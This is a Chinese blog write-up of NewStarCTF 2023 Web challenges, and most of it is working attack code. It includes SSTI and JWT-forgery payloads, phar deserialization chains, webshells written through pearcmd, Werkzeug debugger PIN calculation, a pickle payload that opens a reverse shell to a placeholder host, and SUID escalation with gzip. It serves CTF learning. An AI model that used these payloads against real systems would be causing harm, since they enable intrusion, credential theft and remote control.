NewStartCTF2023
本文最后更新于502 天前,其中的信息可能已经过时,如有错误请发送邮件到1714510997@qq.com

最近做了一下NewStartCTF2023的Web,所以写下这篇文章来记录一下之前没有遇到过的题型,或者值得学习的wp,也是拓展一下自己的视野

Week2 R!!C!!E!!

无参数的REC,第一次遇见

前面的.git泄露就不多说了,直接看重点

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

我们可以看到这样一个正则匹配(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))这其实是循环匹配的意思,他会已知匹配()里面的内容直到最后剩下分号,如果成立则执行命令

首先我们要了解一个函数getallheaders(),他会返回HTTP请求头的所有信息,配合print_r可以输出返回值

这里介绍两种执行命令的方法,一种是eval(array_rand(array_flip(getallheaders())));

array_flip()函数,它会将传进来的数组进行一个键和值的互换,这样的话phpinfo();就变成键了,接下来我们只要取键就可以了,这时与之想配合的另一个函数array_rand(),它会随机的取数组中的一个或多个元素的键,不给参数就是默认取一个,这时候我们随便修改一个HTTP请求头

因为array_rand函数的原因,要多发几次包才行

第二种方法就简单多了

eval(next(getallheaders()));

getallheaders() 函数用于从 HTTP 请求头中获取所有的头信息,然后调用 next() 函数返回数组中的下一个元素,并将其作为参数传递给 eval() 函数来执行 

我们用print_r输出会发现getallheaders返回的HTTP头刚好是UA头,那么直接修改即可

Week3 R!!C!!E!!

无回显RCE,加了很多过滤

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

这里过滤了很多关键字,反弹shell是别想了,但是我们可以用盲注的方法

payload=O:7:"minipop":2:{s:4:"code";s:57:"if [ `ls / | awk NR==1 | cut -c 1` == b ];then sleep 2;fi";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:57:"if [ `ls / | awk NR==1 | cut -c 1` == b ];then sleep 2;fi";s:13:"qwejaskdjnlka";N;}}

然后利用脚本把flag跑出来

但是,这里还有更简单的方法,不需要盲注

我们知道tee可以把命令输出的结果重定向到文件里面,但是这要求我们有文件读写权限

虽然tee被过滤了,我们采用t''ee绕过即可,.被绕过我们可以不给文件加上后缀,直接用a当文件名即可

O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:14:"ls / | t''ee b";s:13:"qwejaskdjnlka";N;}}

剩下的就不多说了

Week4 flask disk

和这次的红岩杯新生赛的flask一样的考点,只是红岩杯我用的非预期,现在看来如果知道这里的知识点预期解也没那么难

flask存在这样一个漏洞,flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。

我们回到这里的题目

这里有三个路由,list查看目录下的文件,upload上传文件,admin manage让我们输入pin码,那这里肯定是开启了debug模式的,我们上传一个能getshell的app.py覆盖原有的文件,就达到了getsghell的目的

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True)

这个flask大多数都是考的SSTI,就算是计算pin码也会结合SSTI让我们读敏感文件,上传文件getshell还是第一次遇到,这也为我们以后遇到flask提供了一种新的思路

Week4 InjectMe

这一题思路很简单,主要就是对于SSTI绕过那里值得记录一下

进来之后查看源码发现有任意文件读取

想到要用目录穿越读一下敏感文件,但是测试了半天也没有穿越过去,我们读一下110.jpg这个图片,发现

原来我们输入的../全部被替换为了空,知道了源码就很好办了,构造一下就好了

根据题目提示我们知道源码在/app目录下

FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080

我们读取一下app.py

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

源码很简单,/backdoor路由存在SSTI和session伪造,我们只要拿到secret_key就可以伪造session了,从模块引入那里我们知道secret_key就在config文件里面,我们同样读取一下就可以拿到了

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

现在就剩下SSTI了,但是发现过滤了很多关键字,而且十六进制也被ban了,这里我们的绕过方式也是采取转换进制,和十六进制的原理是一样的,但是大多数绕过都只介绍了十六进制而忽略了八进制

attr()是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。

过滤器与变量用管道符号( | )分割,并且也 可以用圆括号传递可选参数。

如:foo|attr("bar")foo["bar"]是等价的

这里给出官方的payload

import re
import requests
import subprocess


# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# # https://github.com/noraj/flask-session-cookie-manager

def string_to_octal_ascii(s):
    octal_ascii = ""
    for char in s:
        char_code = ord(char)
        octal_ascii += "\\\\" + format(char_code, 'o')
    return octal_ascii


secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"


eval_shell = "\"\"" + string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()") + "\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = '{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}'.format(
    eval_shell)
print(payload)
command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key,
                                                                                                     payload)
print(command)

session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)

写到这里的时候我就在思考,SSTI中是可以用全角数字代替半角数字的,那配合这里的八进制绕过,只要不过滤attr,我们是否就能通杀SSTI了呢,值得一试

Week4 PharOne

phar的反序列化,只不过有一些过滤,简单提一下吧,毕竟phar反序列化还是遇到得比较少的

出现Phar反序列的地方一般有三个要点,一是文件上传,二是能用phar伪协议,三是要有可用的魔术方法作为“跳板”,这样才能构成完整的phar反序列化攻击

这里的文件上传有两处过滤,一是关键字__HALT_COMPILER();,二是文件后缀

怎样绕过对于关键字的过滤呢,官方给出的方法是

将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)
​ linux下使用命令gzip phar.phar 生成

然后重命名为jpg文件

<?php
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

我这里采用第二种方法绕过,将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过,最后修改文件名就可以了

至于exec无回显RCE就不多说了,这里没有任何过滤,直接写🐎或者反弹shell即可

Week5 Unserialize Again

依然是phar反序列化,只不过这一次文件上传不能用了,而且反序列化还需要绕过__wakeup,所以phar需要重新计算签名

首先查看源码,提示我们Cookie中有东西,我们发现了pairing.php文件,访问一下

<?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
}

Getshell很简单,只需要满足两个条件即可,然后生成phar文件,用WinHex修改文件内容绕过__wakeup

<?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    public $user;
    public $pass;
    public $eating;
    public $God;
    
} 
$story = new story;
$story->user = 'admin';
$story->pass = "admin";
$story->God = "true";
$story->eating = "cat /f*";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($story);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后网上找一个计算签名的脚本,修改签名

from hashlib import sha1

file = open('hacker.phar', 'rb').read()  # 需要重新生成签名的phar文件

data = file[:-28]  # 获取需要签名的数据

final = file[-8:]  # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB

open('hacker1.phar', 'wb').write(newfile)  # 写入到新的phar文件

因为这里的文件上传功能是个摆设,所以我们要想其他的办法上传phar文件,我们锁定到这里

    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);

很明显file_exists($Adam);是我们用phar伪协议的地方,那么$file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));

就是我们写文件的地方了,这里要借助脚本来帮我们传文件,直接POST传参大概率是要出现编码问题的

import urllib.parse
import os
import re
import requests

url='http://480ec6a6-5e23-4e3b-ae7a-cf3438f52705.node4.buuoj.cn:81/'
pattern = r'flag\{.+?\}'
params={
    'pear':'hacker1.phar',
    'apple':'phar://hacker1.phar'
}

with open('hacker1.phar','rb') as fi:
    f = fi.read()
    ff=urllib.parse.quote(f)
    fin=requests.post(url=url+"pairing.php",data=ff,params=params)
    matches = re.findall(pattern, fin.text)
    for match in matches:
        print(match)
    print(fin.text)

Week5 Ye's Pickle

题目给了我们一个附件,我们下载下来里面是源码

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
    payload=request.args.get("token")
    if payload:
        token=verify_jwt(payload, key, ['PS256'])
        session["role"]=token[1]['role']
        return render_template('index.html')
    else:
        session["role"]="guest"
        user={"username":"boogipop","role":"guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
    if session["role"]=="admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return render_template("index.html")
    else:
        return render_template("index.html")
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

源码很简单,给了两个路由,一个是验证JWT,一个是pickle反序列化,session["role"]=="admin":满足这里的条件之后才可以利用反序列化漏洞,所以这题的重点是在于JWT伪造

因为他的密钥是16个字符数字随机生成的,爆破是不可能了,只能另辟蹊径,这里要利用的漏洞是CVE-2022-39227-Python-JWT具体原理就不在这里解释了,我们直接看payload

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "admin"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '


print(topic('JWT'))

这里利用的是JSON混淆,我们把生成的Token用GET传参,就会返回admin的session,然后带着session访问pickle路由,然后利用反序列化反弹shell

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/xxxx/8888 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

Week5 pppython?

第一次遇到计算pin码的题,记录一下

<?php
    
    if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }
    
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
        $output = curl_exec($ch);
        echo $output;
        curl_close($ch);   
    }catch (Error $x){
        highlight_file(__FILE__);
        highlight_string($x->getMessage());
    }

?>

首先我们看第一部分的代码

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }

让我们传入一个数组,然后就可以执行ls -al命令,先执行一下看看有哪些文件

我们可以看到flag文件没有读取权限,所以通过SSRF读取flag行不通了,那就先看看app.py的源码

        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);

这里就是SSRF漏洞产生的地方,url可以传入file伪协议读取文件curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);是将从 HTTP 请求中获取的 "lolita" 参数的值作为 HTTP 请求头部信息发送。这可以用于在 HTTP 请求中添加自定义的头部,比如设置授权信息、自定义 User-Agent 等,所以payload就是

?url=file:///app.py&lolita[]=1

from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files

app = Flask(__name__)

app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
    if session["islogin"] == True:
        return "flag{***********************}"

app.run('0.0.0.0', 1314, debug=True)1

分析源码我们知道flask开启了debug模式,我们可以通过计算pin码,然后利用pin码计算Cookie,最后RCE

计算pin需要下面几部分

username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id

首先是绝对路径,我们直接通过报错获得

然后是网卡MAC地址,要转为十进制的形式

?url=file:///sys/class/net/eth0/address&lolita[]=
hex_string = "6a9628e6fb5b"
decimal_number = int(hex_string, 16)
print(decimal_number)

最后的系统id包括两部分,我们先读取/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id

?url=file:///proc/sys/kernel/random/boot_id&lolita[]=

然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

?url=file:///proc/self/cgroup&lolita[]=

然后用脚本计算Cookie和pin码

import hashlib
from itertools import chain
import time
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '117193163864923',
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-6b6cc10d56de73c47b066225292edb1e6ff957626119d492a77b67c485cfce6b.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

最后的payload有两种主流的写法,一种是官方的,这里的S是访问错误页面给出的SECRET

http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a

然后

lolita[]=Cookie: __wzd37df8aadeae7b425ba15=1700319279|5f06d6374375

宁一种写法是用Gopher协议打

import urllib.parse
import urllib.request

cmd = 'whoami'
s = "n7qps4MCDP7yujSRLmN6"
host = "127.0.0.1:1314"
# cookie = "__wzd37df8aadeae7b425ba15=1700317588|5f06d6374375"
pin = "387-317-262"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

但是无语的是两种方法都复现失败了,不知道为什么

Week5 4-复盘

pear写🐎加上SUID提权

首先下载附件,审计一下源码,看到index.php页面有文件包含

<?php 
        if (isset($_GET['page'])) {
          $page ='pages/' .$_GET['page'].'.php';

        }else{
          $page = 'pages/dashboard.php';
        }
        if (file_exists($page)) {
          require_once $page; 
        }else{
          require_once 'pages/error_page.php';
        }
 ?>

考虑这里存在漏洞,先试一试目录穿越,发现页面会302,但是为什么会想到pear我是有点疑惑的,这里并没有提示说开启了pear拓展,只能说是一种尝试吧

payload就不多说了

?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php

还有一点就是我在用GET写🐎的时候,蚁剑总是连不上,不知道是什么原因

连上之后发现flag是没有权限读取的,这里就要用到SUID提权,什么是SUID提权呢,SUID是一种特殊的权限,我们在运行拥有SUID权限的文件时也会获得root权限,我们就可以利用这个短暂的root权限执行命令

首先先查找拥有SUID权限的文件

find / -user root -perm -4000 -print 2>/dev/null

发现gzip有SUID权限,那我们就利用它读取文件

gzip -f /flag -t
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇